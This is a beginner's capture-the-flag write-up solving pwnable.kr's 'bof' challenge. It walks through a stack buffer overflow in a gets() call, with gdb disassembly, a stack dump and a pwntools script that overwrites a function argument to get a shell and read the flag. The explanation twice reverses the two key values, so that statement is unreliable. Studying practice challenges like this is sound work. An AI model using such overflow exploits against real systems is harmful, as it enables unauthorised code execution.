pwnable.kr - bof
ctf 07-04-2024
Welcome to my first CTF writeup. I’ve decided to do this on a recent challenge I solved, bof on pwnable.kr. In case you are not aware, CTFs, or Capture The Flag, is a type of competition in the cybersecurity world. It is very fun and can allow you to be exposed to a variety of topics, from reverse engineering to web security.
Without further ado, let’s analyze the C file that we get from the chall. Notice what the func
function does:
void func(int key) {
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if (key == 0xcafebabe) {
system("/bin/sh");
}
else {
printf("Nah..\n");
}
}
At the if statement, we see that key == 0xcafebabe
compares a key
that is passed into the function
with a preset password, 0xcafebabe
. When examining the calling statement:
int main(int argc, char* argv[]) {
func(0xdeadbeef);
return 0;
}
We see that it is called from the main function, with a value of 0xdeadbeef
. Thus, we need to find a
way to alter the 0xcafebabe
stored in memory into 0xdeadbeef
. Notice that the gets
function
doesn’t check for buffer overflow when it reads into the overflowme
buffer, which is coded to be 32
bytes. Thus (if it wasn’t obvious by the name already), we can try to design a input that will overflow
and alter 0xcafebabe
into 0xdeadbeef
.
To examine how we can do this, open up the executable in gdb
. The disassembly for func
:
(gdb) disass func
Dump of assembler code for function func:
0x0000062c <+0>: push ebp
0x0000062d <+1>: mov ebp,esp
0x0000062f <+3>: sub esp,0x48
0x00000632 <+6>: mov eax,gs:0x14
0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0000063b <+15>: xor eax,eax
0x0000063d <+17>: mov DWORD PTR [esp],0x78c
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: mov DWORD PTR [esp],0x79b
0x00000664 <+56>: call 0x665 <func+57>
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: mov DWORD PTR [esp],0x7a3
0x00000672 <+70>: call 0x673 <func+71>
0x00000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>: xor eax,DWORD PTR gs:0x14
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
End of assembler dump.
Let’s set a breakpoint at 0x00000654
, or the line with the cmp
operation on 0xcafebabe
. Then, we
can examine the stack and figure out the correct offset for a buffer overflow:
(gdb) break *0x00000654
Breakpoint 2 at 0x00000654
(gdb) c
Continuing.
overflow me :
AAA
Breakpoint 2, 0x00000654 in func ()
(gdb) x/50wx $esp
0xffffcf40: 0xffffcf5c 0x00000001 0xf7ffda30 0x0000001c
0xffffcf50: 0xffffffff 0xf7fca67c 0xf7ffd5e8 0x00414141
0xffffcf60: 0xf7ffcff4 0x0000000c 0x00000000 0x00000000
0xffffcf70: 0x00000000 0x00000000 0x00000013 0x860e8400
0xffffcf80: 0xf7c216ac 0xf7fd9d41 0xffffcfa8 0x5655569f
0xffffcf90: 0xdeadbeef 0xf7fc25d8 0xf7fc2ac0 0x00000001
0xffffcfa0: 0x00000001 0x00000000 0x00000000 0xf7c237c5
0xffffcfb0: 0x00000001 0xffffd064 0xffffd06c 0xffffcfd0
0xffffcfc0: 0xf7e1dff4 0x5655568a 0x00000001 0xffffd064
0xffffcfd0: 0xf7e1dff4 0x565556b0 0xf7ffcba0 0x00000000
0xffffcfe0: 0x412078ce 0x3ad012de 0x00000000 0x00000000
0xffffcff0: 0x00000000 0xf7ffcba0 0x00000000 0x860e8400
0xffffd000: 0xf7ffda30 0xf7c23756
Our AAA
input starts at 0xffffcf5c
, and 0xdeadbeef
is at 0xffffcf90. This is an offset of 52 bytes,
which means we need to input 52 bytes and then overwrite it with 0xcafebabe
. Thus, our payload is:
payload = 'A' * 52 + "\xbe\xba\xfe\xca"
Using pwntools, we end up with our final exploit:
from pwn import *
payload = 'A' * 52 + "\xbe\xba\xfe\xca"
conn = remote("pwnable.kr", 9000)
conn.send(payload)
conn.interactive()
This serves up a shell, with which we can run cat flag
to get our flag.
Flag:
daddy, I just pwned a buFFer :)